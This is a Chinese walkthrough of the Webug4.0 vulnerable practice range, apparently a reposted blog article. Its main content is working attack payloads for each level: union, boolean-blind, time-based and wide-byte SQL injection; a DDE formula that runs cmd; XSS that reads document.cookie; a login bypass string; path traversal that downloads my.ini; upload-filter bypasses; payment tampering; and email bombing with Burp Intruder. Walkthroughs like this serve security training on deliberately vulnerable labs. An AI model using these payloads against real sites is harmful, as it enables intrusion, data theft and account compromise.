Webug4.0靶场通关
14.Webug4.0靶场通关
显错注入
首先整体浏览网站
注入点:
control/sqlinject/manifest_error.php?id=1
判断注入类型
输入: and 1=1 正常, 再输入: and 1=2 还正常, 排除数字型
输入单引号: ’ 网页发生变化
输入’ – q注释掉单引号,页面回显正常 则为字符型
判断字段数
构造payload:
’ order by 3-- q
页面回显错误,而order by 2则回显正常,所以字段数为2
查找回显点
构造payload:
’ union select 1,2 – q
我们可以在2处得到我们想要的内容
查询数据库
’ union select 1,database() – q
为webug
查询所有数据库
’ union select 1,group_concat(schema_name) from information_schema.schemata – q
为information_schema,mysql,performance_schema,webug,webug_sys,webug_width_byte
查询数据库webug中的表
’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ – q
为data_crud,env_list,env_path,flag,sqlinjection,user,user_test
查看flag表的所有字段
’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘webug’ and table_name=‘flag’-- q
为id,flag
查看flag字段的内容
’ union select 1,group_concat(flag) from flag-- q
为dfafdasfafdsadfa
布尔注入
输入单引号: ’ 网页发生变化
输入’ – q注释掉单引号,页面回显正常 则为字符型
判断数据库长度为5
id=1’ and length(database())=5–+
爆破数据库名字为webug
id=1’ and ascii(substr(database(),1,1))=119 --+
判断当前数据库表数量为7
id=1’ and (select count(*) from information_schema.tables where table_schema=database())=7–+
判断第二张表,表名的长度为8
id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8–+
爆破第二张表表名 第一个字符的ascii码值:101
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101–+
爆破出8个ascii值为:101 110 118 95 108 105 115 116 解码为env_list
猜解env_list的字段数量为8
id=1’ and (select count(column_name) from information_schema.columns where table_name=‘env_list’)=8–+
猜解env_list第一个列名字符长度为2
id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2–+
猜解env_list第二个列名字符长度为7
id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 1,1)=7–+
猜解env_list第五个列名字符长度
id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 5,1)=7–+
爆破第五个列名,第一个字符的ascii为101
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101–+
爆破第五个列名,第二个字符的ascii
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),2,1))=110–+
爆破了7个字符,ascii码为101 110 118 70 108 97 103
解码后等于envFlag
猜解envFlag字段的记录为20
id=1’ and (select count(envFlag) from env_list)=20–+
猜解envFlag字段第一条字段的字符数为16
id=1’ and (select length(envFlag) from env_list limit 0,1)=16–+
猜解envFlag字段第二条字段有多少个字符
id=1’ and (select length(envFlag) from env_list limit 1,1)=9–+
猜解flag
id=1’ and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102–+
id=1’ and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100–+
最终爆破完flag的ascii值:
102 100 115 97 102 115 100 102 97
解码为:
fdsafsdfa
延时注入
延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。
可以看到我以下payload的规则:
1' and if(/*!上一关盲注语句*/,sleep(3),1)--+
出现延迟,说明存在注入
1’ and sleep(3)–+
判断数据库字符长度
1’ and if(length(database())=5,sleep(3),1)–+
爆破数据库名
1’ and if(ascii(substr(database(),1,1))=119,sleep(3),1)–+
1’ and if(ascii(substr(database(),2,1))=101,sleep(3),1)–+
判断当前数据库表数量
1’ and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)–+
判断第一张表,表名的长度
1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)–+
判断第二张表,表名的长度
1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)–+
爆破第二张表表名
第一个字符的ascii码值
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)–+
第二个字符的ascii码值
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)–+
猜解表有多少个字段
1’ and if((select count(column_name) from information_schema.columns where table_name=‘env_list’)=8,sleep(3),1)–+
猜解表的第一个列名字符长度
1’ and if((select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2,sleep(3),1)–+
爆破第五个列名,第一个字符的ascii
1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101,sleep(3),1)–+
爆破第五个列名,第二个字符的ascii
猜解envFlag字段有多少条记录
1’ and if((select count(envFlag) from env_list)=20,sleep(3),1)–+
猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)
1’ and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)–+
猜解flag
1’ and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)–+
1’ and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)–+
最后flag的ASCII码值为:
103 102 100 103 100 102 115 100 103
解码:
gfdgdfsdg
post注入
首先整体浏览网页
搜索框可能存在注入点,burp抓包,构造payload:
1’
出现报错
构造payload:
1’ or sleep(3)–+
页面出现延迟
剩下的操作和上一关一样 ,只需要将and改成or即可。
过滤注入
同上,并没有过滤。
宽字节注入
报错
id=1%df%27
如下
正常显示
id=1%df%27–+
如下
查看当前字段数,字段数为2
id=1%df%27 order by 2–+
如下
查看显示位
id=1%df%27 and 1=2 union select 1,2–+
我们可以在2处获得我们想要的内容
查看所有数据库
id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata–+
为information_schemamysqlperformance_schemawebugwebug_syswebug_width_byte
查看webug数据库下的所有表
id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567–+
为data_crud,env_list,env_path,flag,sqlinjection,user,user_test
查看env_list表下所有字段
id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374–+
为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
查看flag
id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1–+
为dfsadfsadfas
xxe注入
整体浏览网站
因为是xxe注入,所以直接输入xml格式数据传输过去
<?xml version="1.0"?>
<helo><batch id="test"><title>xxe</title><test>xxe test</test></batch>
</helo>
可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。
csv注入
1、什么是csv注入?
CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。
2.cvs注入的原理时是什么?
当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。
3.什么是DDE?
DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。
构造payload:
=cmd|’ /C calc’!A0
在单元格中输入
按下回车键,会出现恶意提示
点击是,会弹出计算器
反射型xss
整体浏览网页
可以看到1是我们可控制点
pyaload:
id=1<script>alert(document.cookie)</script>
成功弹窗
存储型xss
整体浏览网页,可以看到最后有一个留言框
构造payload:
<script>alert(document.cookie)</script>
成功弹窗
万能密码登陆
整体浏览网页
账号:admin
密码:’ or ‘1’='1
DOM型xss
打开靶场,可以看到输入框
构造payload:
"required=" "><script>alert(document.cookie)</script><name="
成功弹窗
过滤xss
过滤了script字符
换个标签:
<img src=1 onerror=alert(document.cookie)>
成功弹窗
链接注入
"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。
在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。
“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。
整体浏览网页
构造payload:
id=<a href="http://baidu.com">baidu</a>
成功将百度嵌入到页面中
任意文件下载
打开网页,看到下载按钮
鼠标右键,点击复制链接地址
构造payload:
file=template/assets/img/1.txt
file=index.php
可以下载index.php,看到php源码
mysql配置文件下载
此题与上题原理相同,不过题目是需要我们下载mysql的配置文件
…/mysql/时,执行了下载命令,说明存在mysql目录
file=…/mysql/
直接下载my.ini
file=…/mysql/my.ini
成功下载
文件上传(前端拦截)
整体浏览网页,选择php类型的文件时会显示不允许上传
将phpinfo后缀名修改为png,burp抓包
将后缀名重新修改为php
点击上传,得到文件路径
成功访问
文件上传(畸形文件)
将文件命名为:
phpinfo.png
burp抓包后将文件名改成.pphphp
phpinfo.pphphp
即可绕过
访问路径
/template/upload/1616405351.php
上传成功
支付漏洞
进入靶场,点击立刻购买时,可以看到我们直接购买了商品
打开burp suite,点击立刻购买时,拦截数据包
可以看到金额为100,我们修改成0.01,然后发包,提示我们花了0.01购买了商品
邮箱轰炸
输入邮箱,点击注册,然后利用burp suite进行抓包
4p41ztex@linshiyouxiang.net
发送到intruder模块
设置payload:
选择Null payload
输入发送次数,20次
URL跳转
整体浏览网页
复制链接地址
构造payload:
url=https://www.baidu.com
url=https://www.bilibili.com
成功跳转
文件包含漏洞
整体浏览网站,本身就已经证明了是包含漏洞
构造payload:
filename=…/…/control/upload_file/upload_file_3.php
成功跳转到文件上传页面
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
Webug4.0靶场通关相关推荐
- Windows 10系统下WeBug4.0靶场搭建
最近在搭建webug4.0靶场时遇到一些蒙圈的问题,由于很长时间没有搭建过靶场了,在此简单记录一下. 资源链接:https://pan.baidu.com/s/1q8yKkmMALJsuvLegZq9 ...
- Webug4.0靶场搭建
目录 前期准备 环境搭建 靶场配置 前期准备 windows server服务器虚拟机,小皮面板(https://www.xp.cn/windows-panel.html),webug4.0靶场(ht ...
- Webug4.0靶场过关--注入
目录 显错注入 布尔注入 延时注入 post注入 过滤注入 宽字节注入 xxe注入 csv注入 注:靶场搭建已经在上一篇文章中做了详细的阐述 显错注入 根据有没有sql语法报错,判断sql语句是否执行 ...
- webug4.0靶场之SSRF
0x00 SSRF测试 简单测试一下,包括下列内容: 使用file协议获取 探测内网端口 进入靶场直接404?? 修改下URL的路径进入首页 0x01 使用file协议读取 使用file协议获取C盘的 ...
- webug4.0靶场之越权查看admin
0x00 准备工作 将/control/auth_cross/email.php文件的第16行改为以下代码 0x01 测试过程 从关我们知道了有两个账户,既然是越权查看admin,那我们就用aaaaa ...
- webug4.0之xxe注入
关于xxe漏洞,传送门 ->xxe漏洞详解 1. 页面观察 让我们登录,我们随便输入一个字符如admin,观察页面,出现了xml有关的东西,我们就要怀疑存在xml注入 2. 看是否能解析xml数 ...
- docker搭建webug4.0漏洞靶场
webug4.0 WeBug 名称定义为"我们的漏洞"靶场环境 ,基础环境是基于 PHP/mysql 制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作 ...
- webug4.0通关笔记
目录 显错注入 布尔注入 延时注入 post注入 过滤注入 宽字节注入 xxe注入 csv注入 反射型xss 存储型xss 万能密码登陆 DOM型xss 过滤xss 链接注入 任意文件下载 mysql ...
- billu_b0x靶场通关
billu靶场通关 靶机ip:192.168.112.134 信息收集 端口开放 80 目录扫描 images目录存在目录遍历 test.php(任意文件下载) add.php(文件上传) index ...
最新文章
- thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞
- 几种常用的数字滤波器
- zookeeper 默认端口_ZooKeeper知识点汇总
- android虚拟机鼠标左键拖动会输入C
- 获取 Windows 窗体 DataGridView 控件中选定的单元格、行和列
- 后端开发如何设计数据库系列文章(二)设计大数据量表结构
- 南京工业大学计算机研究生分数,2019南京工业大学研究生分数线汇总(含2016-2019历年复试)...
- 取消UltraEdit提示“文件可能不是DOS格式”
- JDK API 1.6 中文版 及其简单使用
- shell特殊命令 sort_wc_unip命令
- 供应链金融系统建设的具体实施步骤
- Fantastic Blog CMS SQL注入漏洞(CVE-2022-28512)
- ios 常用的第三方库
- SAP_什么是BAPI
- 【OFDM】OFDM正交频分复用---入门总结
- Oracle 给其他用户授权表的权限
- revi的插件【参数同步】一键多类别明细表
- 上海计算机应用技术,电信科学技术第一研究所(上海)
- ATM机跨行取款也有理财窍门
- CSS--2D 3D
热门文章
- Luogu P4516 [JSOI2018] 潜入行动
- python chmod_Python os.chmod用法及代码示例
- 京东前端二面高频面试题
- 运维搭建邮件服务器,系统运维|如何在 Ubuntu 环境下搭建邮件服务器(二)
- 苹果手机如何实现微信多开分身 苹果微信多开分身教程
- 如何用Excel公式去掉字符串末尾的所有的字母a
- STM32+LCD1602液晶显示
- safari隐私模式_如何优化Safari以获得最大的隐私
- 有哪些好用到爆的软件呢?且看本文分析
- 写字机器人——pca9685控制芯片